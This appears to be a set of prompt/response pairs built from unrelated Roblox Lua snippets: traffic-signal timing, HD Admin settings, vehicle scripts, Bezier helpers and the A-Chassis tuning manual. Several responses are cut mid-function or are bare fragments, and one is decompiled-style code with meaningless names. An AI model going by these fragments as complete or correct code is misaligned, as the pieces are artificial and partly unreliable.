	PedValues.PedSignal2.Value = 2
	PedValues.PedSignal2a.Value = 2
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 2
	SignalValues.Signal1a.Value = 2
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 1
	PedValues.PedSignal1a.Value = 1
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(26)--Green Time (BEGIN SIGNAL2 GREEN)
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 1
	SignalValues.Signal2a.Value = 1
	PedValues.PedSignal1.Value = 2
	PedValues.PedSignal1a.Value = 2
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(6) -- Green Time + Time for flashing pedestrian signals
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 2
	SignalValues.Signal2a.Value = 2
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4) -- Yellow Time
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 1
	TurnValues.TurnSignal1a.Value = 1
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(12)-- Simultaneous Turn Green
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 2
	TurnValues.TurnSignal1a.Value = 2
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(4)-- Simultaneous Turn Yellow
	SignalValues.Signal1.Value = 3
	SignalValues.Signal1a.Value = 3
	SignalValues.Signal2.Value = 3
	SignalValues.Signal2a.Value = 3
	PedValues.PedSignal1.Value = 3
	PedValues.PedSignal1a.Value = 3
	PedValues.PedSignal2.Value = 3
	PedValues.PedSignal2a.Value = 3
	TurnValues.TurnSignal1.Value = 3
	TurnValues.TurnSignal1a.Value = 3
	TurnValues.TurnSignal2.Value = 3
	TurnValues.TurnSignal2a.Value = 3
	wait(2)-- ALL RED

end


Prompt: --------------| SYSTEM SETTINGS |--------------

Response:
Prefix				= ";";			-- The character you use before every command (e.g. ';jump me').
SplitKey 			= " ";			-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').
BatchKey 			= "";			-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'
QualifierBatchKey 	= ",";			-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)

Theme				= "Blue";		-- The default UI theme.
NoticeSoundId		= 2865227271;	-- The SoundId for notices.
NoticeVolume		= 0.1;			-- The Volume for notices.
NoticePitch			= 1;			-- The Pitch/PlaybackSpeed for notices.
ErrorSoundId		= 2865228021;	-- The SoundId for error notifications.
ErrorVolume			= 0.1;			-- The Volume for error notifications.
ErrorPitch			= 1;			-- The Pitch/PlaybackSpeed for error notifications.
AlertSoundId		= 3140355872;	-- The SoundId for alerts.
AlertVolume			= 0.5;			-- The Volume for alerts.
AlertPitch			= 1;			-- The Pitch/PlaybackSpeed for alerts.

WelcomeBadgeId		= 0;			-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.

CommandDebounce		= true;			-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.
SaveRank			= true;			-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.
LoopCommands		= 3;			-- The minimum rank required to use LoopCommands.
MusicList 			= {505757009,};	-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.

ThemeColors = {						-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};
	{"Red", 	Color3.fromRGB(150, 0, 0),		};
	{"Orange", 	Color3.fromRGB(150, 75, 0),		};
	{"Brown", 	Color3.fromRGB(120, 80, 30),	};
	{"Yellow", 	Color3.fromRGB(130, 120, 0),	};
	{"Green", 	Color3.fromRGB(0, 120, 0),		};
	{"Blue", 	Color3.fromRGB(0, 100, 150),	};
	{"Purple", 	Color3.fromRGB(100, 0, 150),	};
	{"Pink",	Color3.fromRGB(150, 0, 100),	};
	{"Black", 	Color3.fromRGB(60, 60, 60),		};
};

Colors = {							-- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value};
	{"r", 		"Red",		 		Color3.fromRGB(255, 0, 0)		};
	{"o", 		"Orange",	 		Color3.fromRGB(250, 100, 0)		};
	{"y", 		"Yellow",			Color3.fromRGB(255, 255, 0)		};
	{"g", 		"Green"	,			Color3.fromRGB(0, 255, 0)		};
	{"dg", 		"DarkGreen"	, 		Color3.fromRGB(0, 125, 0)		};
	{"b", 		"Blue",		 		Color3.fromRGB(0, 255, 255)		};
	{"db", 		"DarkBlue",			Color3.fromRGB(0, 50, 255)		};
	{"p", 		"Purple",	 		Color3.fromRGB(150, 0, 255)		};
	{"pk",		"Pink",		 		Color3.fromRGB(255, 85, 185)	};
	{"bk",		"Black",		 	Color3.fromRGB(0, 0, 0)			};
	{"w",		"White",	 		Color3.fromRGB(255, 255, 255)	};
};
ChatColors = {						-- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
	[5] 		= "Yellow";
};

Cmdbar						= 1;			-- The minimum rank required to use the Cmdbar.
Cmdbar2						= 3;			-- The minimum rank required to use the Cmdbar2.
ViewBanland					= 3;			-- The minimum rank required to view the banland.
OnlyShowUsableCommands		= false;		-- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage		= {				-- || The pages on the main menu ||
	["Commands"]		= 0;
	["Admin"]			= 0;
	["Settings"]		= 0;
};
RankRequiredToViewRank		= {				-- || The rank categories on the 'Ranks' subPage under Admin ||
	["Owner"]			= 0;
	["HeadAdmin"]		= 0;
	["Admin"]			= 0;
	["Mod"]				= 0;
	["VIP"]				= 0;
};
RankRequiredToViewRankType	= {				-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
	["Owner"]			= 0;
	["SpecificUsers"]	= 5;
	["Gamepasses"] 		= 0;
	["Assets"] 			= 0;
	["Groups"] 			= 0;
	["Friends"] 		= 0;
	["FreeAdmin"] 		= 0;
	["VipServerOwner"] 	= 0;
};
RankRequiredToViewIcon		= 0;

WelcomeRankNotice			= true;			-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice			= true;			-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix			= true;			-- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices			= false;		-- Set to true to disable all HD Admin notices.

ScaleLimit					= 4;			-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit			= 3;			-- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits				= {				-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
	["fly"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["fly2"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["noclip"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["noclip2"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["speed"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
	["jumpPower"]	= {
		Limit 				= 10000;
		IgnoreLimit 		= 3;
	};
};

VIPServerCommandBlacklist	= {"permRank", "permBan", "globalAnnouncement"};	-- Commands players are probihited from using in VIP Servers.
GearBlacklist				= {67798397};	-- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist			= 4;			-- The minimum rank required to ignore the gear blacklist.

PlayerDataStoreVersion		= "V1.0";		-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion		= "V1.0";		-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.

CoreNotices					= {				-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
	--NoticeName = NoticeDetails;
};


Prompt: --// # key, Cruise

Response:
mouse.KeyDown:connect(function(key)
	if key=="n" then
		veh.Lightbar.middle.Beep:Play()
		veh.Lightbar.Remotes.CruiseEvent:FireServer(true)
	end
end)


Prompt: -- SpeederScripts

Response:
local SpeederScripts = ReplicatedStorage:FindFirstChild("SpeederScripts")
local Controller = SpeederScripts:FindFirstChild("Controller")


Prompt: --spawn(function()

Response:
	while true do
		game:GetService("RunService").Stepped:wait()
		for i, part in pairs(car:GetChildren()) do
			if part.Name == "Thruster" then
				UpdateThruster(part)
			end
		end
		if car.DriveSeat.Occupant then
			local ratio = car.DriveSeat.Velocity.magnitude / stats.Speed.Value
			car.EngineBlock.Running.Pitch = 1 + ratio / 4
			bodyPosition.MaxForce = Vector3.new()
			bodyGyro.MaxTorque = Vector3.new()
		else
			local hit, position, normal = Raycast.new(car.Chassis.Position, car.Chassis.CFrame:vectorToWorldSpace(Vector3.new(0, -1, 0)) * stats.Height.Value)
			if hit and hit.CanCollide then
				bodyPosition.MaxForce = Vector3.new(mass / 5, math.huge, mass / 5)
				bodyPosition.Position = (CFrame.new(position, position + normal) * CFrame.new(0, 0, -stats.Height.Value + 0.5)).p
				bodyGyro.MaxTorque = Vector3.new(math.huge, 0, math.huge)
				bodyGyro.CFrame = CFrame.new(position, position + normal) * CFrame.Angles(-math.pi/2, 0, 0)
			else
				bodyPosition.MaxForce = Vector3.new()
				bodyGyro.MaxTorque = Vector3.new()
			end
		end
	end


Prompt:
--the Create function need to be created as a functor, not a function, in order to support the Create.E syntax, so it
--will be created in several steps rather than as a single function declaration.

Response:
local function Create_PrivImpl(objectType)
	if type(objectType) ~= 'string' then
		error("Argument of Create must be a string", 2)
	end
	--return the proxy function that gives us the nice Create'string'{data} syntax
	--The first function call is a function call using Lua's single-string-argument syntax
	--The second function call is using Lua's single-table-argument syntax
	--Both can be chained together for the nice effect.
	return function(dat)
		--default to nothing, to handle the no argument given case
		dat = dat or {}

		--make the object to mutate
		local obj = Instance.new(objectType)
		local parent = nil

		--stored constructor function to be called after other initialization
		local ctor = nil

		for k, v in pairs(dat) do
			--add property
			if type(k) == 'string' then
				if k == 'Parent' then
					-- Parent should always be set last, setting the Parent of a new object
					-- immediately makes performance worse for all subsequent property updates.
					parent = v
				else
					obj[k] = v
				end

			--add child
			elseif type(k) == 'number' then
				if type(v) ~= 'userdata' then
					error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2)
				end
				v.Parent = obj

			--event connect
			elseif type(k) == 'table' and k.__eventname then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\
					       got: "..tostring(v), 2)
				end
				obj[k.__eventname]:Connect(v)

			--define constructor function
			elseif k == t.Create then
				if type(v) ~= 'function' then
					error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \
					       got: "..tostring(v), 2)
				elseif ctor then
					--ctor already exists, only one allowed
					error("Bad entry in Create body: Only one constructor function is allowed", 2)
				end
				ctor = v

			else
				error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2)
			end
		end

		--apply constructor function if it exists
		if ctor then
			ctor(obj)
		end

		if parent then
			obj.Parent = parent
		end

		--return the completed object
		return obj
	end
end


Prompt:
--[[
	Returns the cached character appearance of specified userId, or nil if it does not exist
]]

Response:
function CharacterAppearanceCache.getCharacterAppearance(userId)
	if appearanceCache[tostring(userId)] then
		return appearanceCache[tostring(userId)]
	else
		Logger.warn("Tried to get character model for ", userId, ", but it doesn't exist!")
		return nil
	end
end


Prompt: --// Event Connections

Response:
L_112_.OnClientEvent:connect(function(L_325_arg1, L_326_arg2)
	if L_325_arg1 ~= L_2_ then
		local L_327_ = L_325_arg1.Character
		local L_328_ = L_327_.AnimBase.AnimBaseW
		local L_329_ = L_328_.C1
		if L_326_arg2 then
			L_127_(L_328_,  nil , L_327_.Head.CFrame, function(L_330_arg1)
				return math.sin(math.rad(L_330_arg1))
			end, 0.25)
		elseif not L_326_arg2 then
			L_127_(L_328_,  nil , L_329_, function(L_331_arg1)
				return math.sin(math.rad(L_331_arg1))
			end, 0.25)
		end
	end
end)

L_115_.OnClientEvent:connect(function(L_332_arg1, L_333_arg2)
	if L_42_ and L_333_arg2 ~= L_2_ and L_24_.CanCallout then
		if (L_3_.HumanoidRootPart.Position - L_332_arg1).magnitude <= 10 then
			L_41_.Visible = true
			local L_334_ = ScreamCalculation()
			if L_334_ then
				if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then
					L_116_:FireServer(L_7_.AHH, L_96_[math.random(0, 21)])
				end
			end
			L_14_:Create(L_41_, TweenInfo.new(0.1), {
				BackgroundTransparency = 0.4
			}):Play()
			delay(0.1, function()
				L_14_:Create(L_41_, TweenInfo.new(3), {
					BackgroundTransparency = 1
				}):Play()
			end)
		end
	end
end)


Prompt:
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name

Response:
return function(data)
	local color = data.Color
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local mouse = localplayer:GetMouse()
	local gui = script.Parent.Parent

	if color=='off' then
		local guis = client.UI.Get("BChat")
		if guis then
			for i,v in pairs(guis) do
				if v ~= gui then
					v:Destroy()
				end
			end
			gui:Destroy()
		end
	else
		if playergui:FindFirstChild(gui.Name) then
			playergui[gui.Name]:Destroy()
		end

		local box = gui.Frame.Box
		local close = gui.Frame.Close

		box.Text='Click here or press ";" to chat'

		box.FocusLost:connect(function(enterPressed)
			if enterPressed and localplayer.Character:FindFirstChild('Head') and color and box.Text~='Click here or press ";" to chat' then
				service.ChatService:Chat(localplayer.Character.Head,service.LaxFilter(box.Text),color)
				box.Text='Click here or press ";" to chat'
			end
		end)

		mouse.KeyDown:connect(function(key)
			if key==';' then
				box:CaptureFocus()
			end
		end)

		close.MouseButton1Click:connect(function()
			gui:Destroy()
		end)

		gTable:Ready()
	end
end


Prompt: -- Called when character is about to be removed

Response:
function Poppercam:CharacterRemoving(char, player)
	self.playerCharacters[player] = nil
end

function Poppercam:Update(dt, desiredCameraCFrame, desiredCameraFocus)
	if self.popperEnabled then
		self.camera = game.Workspace.CurrentCamera
		local newCameraCFrame = desiredCameraCFrame
		local focusPoint = desiredCameraFocus.p

		if FFlagUserPortraitPopperFix and self.subjectPart then
			focusPoint = self.subjectPart.CFrame.p
		end

		local ignoreList = {}
		for _, character in pairs(self.playerCharacters) do
			ignoreList[#ignoreList + 1] = character
		end
		for i = 1, #self.vehicleParts do
			ignoreList[#ignoreList + 1] = self.vehicleParts[i]
		end

		-- Get largest cutoff distance
		-- Note that the camera CFrame must be set here, because the current implementation of GetLargestCutoffDistance
		-- uses the current camera CFrame directly (it cannot yet be passed the desiredCameraCFrame).
		local prevCameraCFrame = self.camera.CFrame
		self.camera.CFrame = desiredCameraCFrame
		self.camera.Focus = desiredCameraFocus
		local largest = self.camera:GetLargestCutoffDistance(ignoreList)

		-- Then check if the player zoomed since the last frame,
		-- and if so, reset our pop history so we stop tweening
		local zoomLevel = (desiredCameraCFrame.p - focusPoint).Magnitude
		if math.abs(zoomLevel - self.lastZoomLevel) > 0.001 then
			self.lastPopAmount = 0
		end

		-- Finally, zoom the camera in (pop) by that most-cut-off amount, or the last pop amount if that's more
		local popAmount = largest
		if self.lastPopAmount > popAmount then
			popAmount = self.lastPopAmount
		end

		if popAmount > 0 then
			newCameraCFrame = desiredCameraCFrame + (desiredCameraCFrame.lookVector * popAmount)
			self.lastPopAmount = popAmount - POP_RESTORE_RATE -- Shrink it for the next frame
			if self.lastPopAmount < 0 then
				self.lastPopAmount = 0
			end
		end

		self.lastZoomLevel = zoomLevel

		-- Stop shift lock being able to see through walls by manipulating Camera focus inside the wall


Prompt: --print("player is closer than 10 studs, prioritize")

Response:
else
if closestPlayerDist < closestBuildingDist then


Prompt: ------------------------------|åˆ†å‰²çº¿|------------------------------

Response:
function BezierCurve.LinearBezierCurves(Frame , FPS , Target , Position1 , Position2)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		Target.Position = BezierCurve.Lerp(Position1 , Position2 , Time)

		task.wait(1 / FPS)
	end

end

function BezierCurve.QuadraticBezierCurves(Frame , FPS , Target , Position1 , Position2 , Position3)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	if typeof(Position3) ~= "Vector3" then
		Position3 = Position3.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		local Lerp1 = BezierCurve.Lerp(Position1 , Position2 , Time)
		local Lerp2 = BezierCurve.Lerp(Position2 , Position3 , Time)

		Target.Position = BezierCurve.Lerp(Lerp1 , Lerp2 , Time)

		task.wait(1 / FPS)

	end

end

function BezierCurve.CubicBezierCurves(Frame , FPS , Target , Position1:Vector3 , Position2 , Position3 , Position4)

	if typeof(Position1) ~= "Vector3" then
		Position1 = Position1.Position
	end

	if typeof(Position2) ~= "Vector3" then
		Position2 = Position2.Position
	end

	if typeof(Position3) ~= "Vector3" then
		Position3 = Position3.Position
	end

	if typeof(Position4) ~= "Vector3" then
		Position4 = Position4.Position
	end

	for Index = 0 , Frame , 1 do

		local Time = Index / Frame

		local Lerp1 = BezierCurve.Lerp(Position1 , Position2 , Time)
		local Lerp2 = BezierCurve.Lerp(Position2 , Position3 , Time)
		local Lerp3 = BezierCurve.Lerp(Position3 , Position4 , Time)

		local InLerp1 = BezierCurve.Lerp(Lerp1 , Lerp2 , Time)
		local InLerp2 = BezierCurve.Lerp(Lerp2 , Lerp3 , Time)

		Target.Position = BezierCurve.Lerp(InLerp1 , InLerp2 , Time)

		task.wait(1 / FPS)

	end

end


Prompt:
--[[
	Singleton manager that controls the systems on the ship.
]]

Response:
local ServerStorage = game:GetService("ServerStorage")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local CollectionService = game:GetService("CollectionService")

local TableUtils = require(ReplicatedStorage.Dependencies.LuaUtils.TableUtils)
local Constants = require(ReplicatedStorage.Source.Common.Constants)
local Engine = require(ServerStorage.Source.Systems.Engine)
local Gravity = require(ServerStorage.Source.Systems.Gravity)
local Generator = require(ServerStorage.Source.Systems.Generator)
local Lights = require(ServerStorage.Source.Systems.Lights)
local Camera = require(ServerStorage.Source.Systems.Camera)
local Shield = require(ServerStorage.Source.Systems.Shield)

local SystemManager = {}

local systems = {}


Prompt: --Offset For Each New Ray For The Bullet's Trajectory

Response:
local offset			= (parts.Parent.Gun.Muzzle.CFrame*CFrame.new(math.random(-2,2)/3,100,math.random(-2,2)/3).p
							- parts.Parent.Gun.Muzzle.Position).unit
							*script.Parent.Stats.GunVelocity.Value
local point1			= parts.Parent.Gun.Muzzle.Position


Prompt:
--[[                                           <<DO NOT DELETE THIS MODULE>>
   ___      _______                _       _______
  / _ |____/ ___/ /  ___ ____ ___ (_)__   /__  __/
 / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<     / /
/_/ |_|   \___/_//_/\_,_/___/___/_/___/	   /_/   Build 6.5T, Version 6.6
				SecondLogic @ Inspare
				Avxnturador @ Novena
					RikOne2 @ Enjin

>>Manual

Basically, everything you can and would ever want to touch is in the tuning module. EVERYTHING

Torque Curve Tune Visualizer (Boost Included):
https://www.desmos.com/calculator/nap6stpjqf

Basic Tips:
--Installation
	>Everything is built-in (assembly, welding, suspension, gyros), so all you have to worry about is placing the wheels and the seat.
	>Body parts go in the "Body" section.
	>Wheel parts such as 3D rims and brake disks go in the "Parts" section of the wheel.
	>Suspension-Anchored parts such as suspension wishbones and linkages go in the "SuspensionFixed" section.
	>Axle-Anchored parts such as calipers go in the "WheelFixed" section.
	>You can add or remove wheels. To add a wheel, simply copy one of the wheels and make sure it's named one of the following: "F","FL","FR","R","RL","RR".
	>Wheels need to be aligned with the axes of the seat. Don't rotate the seat relative to the wheels as it may cause welding problems.
	>All wheel offsets are applied in the tuning module. Do NOT manually add offset to the wheels. Steering axis is centered on the wheel part by default.
	>Seat offset can be adjusted in the "MiscWeld" module under "Initialize".
	>Use the "Misc" section for scripted/moving parts and apply welding using the "MiscWeld" module under "Initialize".

--Tuning
	>Reduce weight(density) if setup is lacking torque. Increase density if setup has too much torque.
	>Add downforce manually if setup is lacking grip or use a downforce plugin.
	>Dialing in ratios used in real cars is an easy way to have a realisticly tuned transmission.
	>Modifying the "Drive" script may affect the integrity of the system.
	>Custom scripts should be put in the "Plugins" folder. Using plugins made by other users is encouraged.
	>When writing custom plugins, you can reference the values within the "Values" folder inside the A-Chassis Interface.
	>It is a good practice to make plugins compatible with any setup and providing a usage manual if a plugin is released.
	>You can remove/change the default plugins that come with the kit. The drive system will still work perfectly with or without them.

--Updates
	>To update, simply just replace the entire "A-Chassis Tune" module of an existing car with a newer version of the module if the car already has AC6T installed. Otherwise it's preferred you copy the new values over.
	>You may want to copy the tune values and plugins from the old module, but dont simply overwrite the tune module as new values may be added.

>>AC6 T Changelog
	[02/15/18 : A-Chassis T Build 6.6] - The Realism Update
		[Curves]
			-Curves are now perfected due to a re-write of the Horsepower and Torque curves.
			-Instead of the HP and Torque being insanely off, it's now perfected.
				-Example: A naturally aspirated car with the horsepower at 180 will have its max HP be 180, not 360.
			-Works both WITH and WITHOUT Engine and Boost Caching!!!

		[New Car Values]
			-TCSAmt (The amount of cutoff TCS has on the throttle)

		[New Tune Values]
			[EDITABLE]
			-ShiftTime (The time delay in which you initiate a shift and the car changes gear)
			[STANDARDIZED] (Highly recommended you don't touch these in the tune)
			-CurveCache (The time delay in which you initiate a shift and the car changes gear)
			-CacheInc (The time delay in which you initiate a shift and the car changes gear)

	[12/2/17 : A-Chassis T Build 6.5] - The Turbocharged Update
		[Turbocharger]
			-Utilizing IMeanBiz's turbo scripts, the car now has turbo.

		[New Car Values]
			-HpNatural (Horsepower made by the engine naturally aspirated)
			-TqNatural (Torque made by the engine naturally aspirated)

			-HpBoosted (Horsepower made by the turbocharger[s], NOT including HpNatural HP)
			-TqBoosted (Torque made by the turbocharger[s], NOT including TqNatural Torque)

			-Boost (Total boost [in PSI])

		[New Tune Values]
			-Should all be self explanatory in the tune.

		[New Plugins]
			-AC6T Stock Gauges, includes a turbo thing in the middle (when car is turbocharged), can easily be swapped with AC6 default gauges if not wanted.
			-Turbocharger sounds, which works regularly

		[Rewritten Values]
			-Horsepower (Horsepower combined from the engine and turbocharger[s])
			-Torque (Torque combined from the engine and turbocharger[s])

>>AC6 Changelog
	[6/10/17 : A-Chassis Build 6.52S2] - Fixed Initialization Orientation
		[Fixed Initialization Rotation]
		-Fixed initialization rotation glitch

	[6/8/17 : A-Chassis Build 6.51S2] - More Suspension Tuning
		[Re-Added Suspension Values]
		-New suspension tuning is now the same as the previous suspension
		-AntiRoll and PreCompress are now added to suspension tuning

		[Fixes]
		-Fixed Rev-Boucing: Car does not stall anymore when rev-bouncing
		-Fixed Stock Gauges not showing the the right transmission mode / pbrake mode

	[6/8/17 : A-Chassis Build 6.5S2] - Full Suspension Change and Optimization
		[New Suspension System]
		-Suspension Linkages are now made using axles instead of constraints
		-Better overall stability and ease of tuning
		-SpringConstraint Tuning has been changed in the tune to more meaningful values
		-Added AntiRoll system using gyro dampening on the suspension linkages
		-AxleSize affects the size of suspension linkage parts

		[Major Performance Optimizations]
		-Torque output calculations are now cached (pre-calculated and stored) to reduce runtime cpu load
		-Constant multipliers for several lines have been simplified and cached
		-Split Engine function into RPM calculation and Power Output
		-Split runtime loops into different cycle rates
		-RPM calculation, Steering, and External Value updating now run on 60 FPS max (from 30) for smoother steering and RPM tracking.
		-Engine Output and Flip now run on 15 FPS max (from 30) to reduce runtime cpu load
		-Overall percieved smoothness is now TWICE AS MUCH but runtime cpu load has actually been HALVED!!!

	[5/23/17 : A-Chassis Build 6.43S] - STUFF
		[Added Tune Values]
		-Added WBVisible to set weight brick visibility

		[Independent Camera Handling]
		-Separated camera handling from Drive script
		-Mouse camera is now handled by a plugin
		-Custom camera plugin support is now easier

		[Stock Plugins Update]
		-Added Dynamic Friction as a stock plugin
		-Dynamic friction can be tuned within the Simulated script
		-Updated default sound plugin
		-Added mouse-steer camera plugin

		[Code Fixes]
		-Fixed missing operation within torque curve
		-Slight optimizations during runtime

	[5/20/17 : A-Chassis Build 6.42S] - ABS and PGS Standardization

		[Added ABS]
		-Modulates brakes when locking
		-Added threshold value for slip allowance
		-Added control toggles for ABS
		-Added ABS indicator and control mapping to stock UI

		[Split Density Tuning for PGS and Legacy]
		-Added standardized weight scaling values to tune
		-Default weight tuning set to 1 cubic stud : 50 lbs for PGS
		-Default weight tuning set to 1 cubic stud : 10 lbs for Legacy
		-Split front and rear density to PGS and Legacy
		-Split brake force tuning to PGS and Legacy

		[Added Tune Values]
		-TCSEnabled: Sets whether or not the car will have TCS
		-ABSEnabled: Sets whether or not the car will have ABS
		-LoadDelay: Sets a delay time before initializing car

		[Bug Fix: Axle Size Initialization]
		-Car applies proper axle size
		-Added AxleDensity value which sets axle density
		-Fixed miscelaneous wheel part welding

		[Added Changable Stock Gauge Units]
		-Added units system for stock gauges
		-Added default units: MPH [1 stud : 10 in], KP/H [1 stud : 10 in], SPS
		-Custom units can be added or removed
		-Click on speed to change between units
		-Moved Controls button to middle for better visibility

		[Code Documentation]
		-Extensive documentation and commenting within scripts for better readability
		-Improved warning message for oversized mass condition

	[5/4/17 : A-Chassis Build 6.41S] - Standardized Weight

		[Added automatic weight system]
		-Added tune values for car weight, center of gravity, and wheel density
		-Weight standard: 100 lbs = 1 cubic stud mass
		-Applies weight at initialization

		[Scaled Down Power Delivery]
		-Horsepower output now at 1/10 because of lighter weight standard
		-Added FDMult value in transmission for gear ratio scaling without having to change Final Drive (useful for low HP tunes)

		[Optimized value for Anchor Offset]
		-Changed "SusOffset" to "Anchor Offset"
		-New anchor offset is now based off of wishbone length and wishbone angle.
		-Anchor offset now labelled for forward, lateral, and vertical offsets.

		[Split some tune values to F/R]
		-Suspension values for front and rear are now independently tunable.
		-Front and rear brakes can be tuned independently.

		[Tune Module Housekeeping]
		-Rearranged and documented several of the values within the tune module.
		-Removed GyroP and GyroMaxTorque for simplicity. Dampening values are still present.
		-Changed some decimal values to percent values

	[1/2/17 : A-Chassis Build 6.40S] - Suspension
		"S" Build number identifies suspension build

		[Added suspension system for PGS Physics Solver]
		-Suspension uses ROBLOX constraints and is automatically generated with the chassis
		-Added tune values for suspension
		-Temporarily removed caster tuning

		[Steering Fix]
